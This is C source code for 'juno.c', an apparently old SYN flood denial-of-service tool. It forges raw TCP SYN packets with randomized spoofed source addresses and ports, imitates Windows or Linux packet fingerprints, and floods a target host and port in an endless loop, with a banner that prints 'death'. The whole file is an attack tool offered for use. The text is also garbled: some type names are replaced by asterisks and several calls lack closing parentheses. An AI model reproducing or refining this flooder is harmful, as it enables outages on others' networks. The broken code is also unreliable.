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char about[] = "juno.c by Darkcode of DALnet\n";
/*
for best results, compile with:
gcc -O2 juno.c -o juno
thanks to bleach for releasing this for me, I'm too lazy to do it myself
P.S I'd just like to send out a big "get out of the closet" to malkman,
for making useless mods to this source that actually make it *less*
effective. Get a life man.
*/
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>
#define USELESS_INFO
#define EMULATE_WINDOWS /* EMULATE_WINDOWS or EMULATE_LINUX */
#define RANDOMIZE_SOURCE_IP /* random source ips */
#define RANDOMIZE_SOURCE_PORT /* random source ports */
#undef DELAY 1000 /* microsecond delay, undef for none */
/* nothing beyond here is useful to people who can't program */
#ifndef EMULATE_WINDOWS
# ifndef EMULATE_LINUX
# define EMULATE_WINDOWS 1
# endif
#endif
struct syn {
unsigned char verihl;
unsigned char tos;
unsigned short len;
unsigned short id;
unsigned short flg_ofs;
unsigned char ttl;
unsigned char proto;
unsigned short ipsum;
unsigned long src;
unsigned long dst;
unsigned short sport;
unsigned short dport;
unsigned long seq;
unsigned long ack_seq;
unsigned char offset;
unsigned char flags;
unsigned short win;
unsigned short tcpsum;
unsigned short urgptr;
#ifdef EMULATE_WINDOWS
char opt[8];
#else
# ifdef EMULATE_LINUX
char opt[20];
# endif
#endif
};
int resolve(char *name,unsigned long *ip) {
struct hostent *host;
if ((*ip=inet_addr(name)) == INADDR_NONE) {
if (!(host=gethostbyname(name))) return(-1);
*ip=((struct in_addr *)host->h_addr)->s_addr;
}
return(0);
}
int getsock(****) {
int s = socket(PF_INET,SOCK_RAW,6),one=1;
if(s<1) return(0);
if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *)&one,sizeof(one))<0) return(0);
return(s);
}
int getport(char *s, unsigned short *out)
{
char const *p;
int n;
if(!*s) return(-1);
for (p=s;*p;p++) if(*p<'0'||*p>'9' return(-2);
if(p-s>5) return(-3);
if(((n=atoi(s))>65535) || (n<0)) return(4);
*out=htons(n);
return(0);
}
**** prep_syn(struct syn *syn) {
syn->verihl = 69;
syn->len = htons(sizeof(struct syn));
syn->flg_ofs = 64;
syn->proto = 6;
syn->flags = 2;
#ifdef EMULATE_WINDOWS
syn->ttl = 128;
syn->offset = 112;
syn->win = htons(8192);
syn->opt[0] = 2;
syn->opt[1] = 4;
syn->opt[2] = 5;
syn->opt[3] = 0xB4;
syn->opt[4] = 1;
syn->opt[5] = 1;
syn->opt[6] = 4;
syn->opt[7] = 2;
#else
# ifdef EMULATE_LINUX
syn->tos = 16;
syn->ttl = 64;
syn->offset = 160;
syn->win = htons(15536);
syn->opt[0] = 0x02;
syn->opt[1] = 0x04;
syn->opt[2] = 0x0F;
syn->opt[3] = 0x2C;
syn->opt[4] = 0x04;
syn->opt[5] = 0x02;
syn->opt[6] = 0x08;
syn->opt[7] = 0x0A;
syn->opt[9] = 0x05;
syn->opt[10] = 0x27;
syn->opt[11] = 0x2D;
syn->opt[13] = 0x05;
syn->opt[14] = 0x27;
syn->opt[15] = 0x2D;
syn->opt[16] = 0x01;
syn->opt[17] = 0x03;
syn->opt[18] = 0x03;
# endif
#endif
}
int starttime,outcount=0;
int xmit_syn(struct syn *syn,int sock,struct sockaddr_in *targ) {
register int count = (sizeof(struct syn)-20) >> 1,sum;
register unsigned short *p = &syn->sport;
#ifdef RANDOMIZE_SOURCE_IP
syn->src = random();
#endif
syn->id = 1+255*((random()%256)|0xFF);
#ifdef RANDOMIZE_SOURCE_PORT
syn->sport = htons(1024 + (random() & 2048));
#endif
syn->seq = random();
syn->ack_seq = random();
syn->tcpsum = 0;
sum = (syn->src >> 16) + (syn->src & 0xffff) + (syn->dst >> 16) +
(syn->dst & 0xffff) + 1536 + htons(count << 1);
while(count--) sum += *p++;
sum = (sum >> 16) + (sum & 0xffff);
syn->tcpsum = ~(sum += (sum >> 16));
outcount++;
return(sendto(sock,syn,sizeof(struct syn),0,targ,sizeof(struct sockaddr_in)));
}
#ifdef RANDOMIZE_SOURCE_IP
# ifdef RANDOMIZE_SOURCE_PORT
# define TARGET_IP_INDEX 1
# else
# define SOURCE_PORT_INDEX 1
# define TARGET_IP_INDEX 2
# endif
#else
# ifdef RANDOMIZE_SOURCE_PORT
# define TARGET_IP_INDEX 2
# else
# define SOURCE_PORT_INDEX 2
# define TARGET_IP_INDEX 3
# endif
#endif
**** sig_proc(int signum) {
int ctime=time(NULL);
printf("\n -- statistics -----------------------\n";
printf(" packets sent: %d\n",outcount);
printf(" bytes sent: %d\n",outcount * sizeof(struct syn));
printf(" seconds active: %d\n",ctime-starttime);
printf(" average bytes/second: %d\n",(outcount * sizeof(struct syn))/(ctime-starttime));
printf(" -------------------------------------\n";
exit(1);
}
int main(int argc,char *argv[]) {
struct syn syn;
struct sockaddr_in targ;
int sock;
bzero(&syn,sizeof(struct syn));
if(argc<TARGET_IP_INDEX+2) {
fprintf(stderr,"Syntax: %s ",argv[0]);
#ifndef RANDOMIZE_SOURCE_IP
fprintf(stderr,"<source ip> ";
#endif
#ifndef RANDOMIZE_SOURCE_PORT
fprintf(stderr,"<source port> ";
#endif
fprintf(stderr,"<target ip> <target port>\n";
exit(1);
}
if(!(sock=getsock())) {
fprintf(stderr,"Failed to create socket\n";
exit(2);
}
#ifndef RANDOMIZE_SOURCE_IP
if(resolve(argv[1],&syn.src)) {
fprintf(stderr,"Invalid source ip (%s)\n",argv[1]);
exit(3);
}
#endif
#ifndef RANDOMIZE_SOURCE_PORT
if(getport(argv[SOURCE_PORT_INDEX],&syn.sport)) {
fprintf(stderr,"Invalid source port (%s)\n",argv[SOURCE_PORT_INDEX]);
exit(4);
}
#endif
if(resolve(argv[TARGET_IP_INDEX],&syn.dst)) {
fprintf(stderr,"Invalid target ip (%s)\n",argv[TARGET_IP_INDEX]);
exit(5);
}
if(getport(argv[TARGET_IP_INDEX+1],&syn.dport)) {
fprintf(stderr,"Invalid target port (%s)\n",argv[TARGET_IP_INDEX+1]);
exit(6);
}
#ifdef USELESS_INFO
printf("%s%s",about,"death";
# ifndef RANDOMIZE_SOURCE_IP
printf(" from %s:",inet_ntoa(syn.src));
# ifndef RANDOMIZE_SOURCE_PORT
printf("%d",ntohs(syn.sport));
# else
printf("random ";
# endif
# else
# ifndef RANDOMIZE_SOURCE_PORT
printf("random:%d",ntohs(syn.sport));
# endif
# endif
printf(" to %s:%d\n",inet_ntoa(syn.dst),ntohs(syn.dport));
#endif
targ.sin_addr.s_addr = syn.dst;
targ.sin_port = syn.dport;
targ.sin_family = AF_INET;
srandom(time(NULL));
starttime = time(NULL);
while(time(NULL) == starttime) usleep(1000);
signal(SIGHUP,&sig_proc);
signal(SIGINT,&sig_proc);
signal(SIGQUIT,&sig_proc);
signal(SIGILL,&sig_proc);
signal(SIGABRT,&sig_proc);
signal(SIGFPE,&sig_proc);
// signal(SIGKILL,&sig_proc);
signal(SIGSEGV,&sig_proc);
signal(SIGPIPE,&sig_proc);
signal(SIGALRM,&sig_proc);
signal(SIGTERM,&sig_proc);
signal(SIGUSR1,&sig_proc);
signal(SIGUSR2,&sig_proc);
signal(SIGCHLD,&sig_proc);
signal(SIGCONT,&sig_proc);
// signal(SIGSTOP,&sig_proc);
signal(SIGTSTP,&sig_proc);
signal(SIGTTIN,&sig_proc);
signal(SIGTTOU,&sig_proc);
prep_syn(&syn);
while(1) {
if(xmit_syn(&syn,sock,&targ)!=sizeof(struct syn)) {
fprintf(stderr,"failed to send packet\n";
exit(7);
}
#ifdef DELAY
usleep(DELAY);
#endif
}
}
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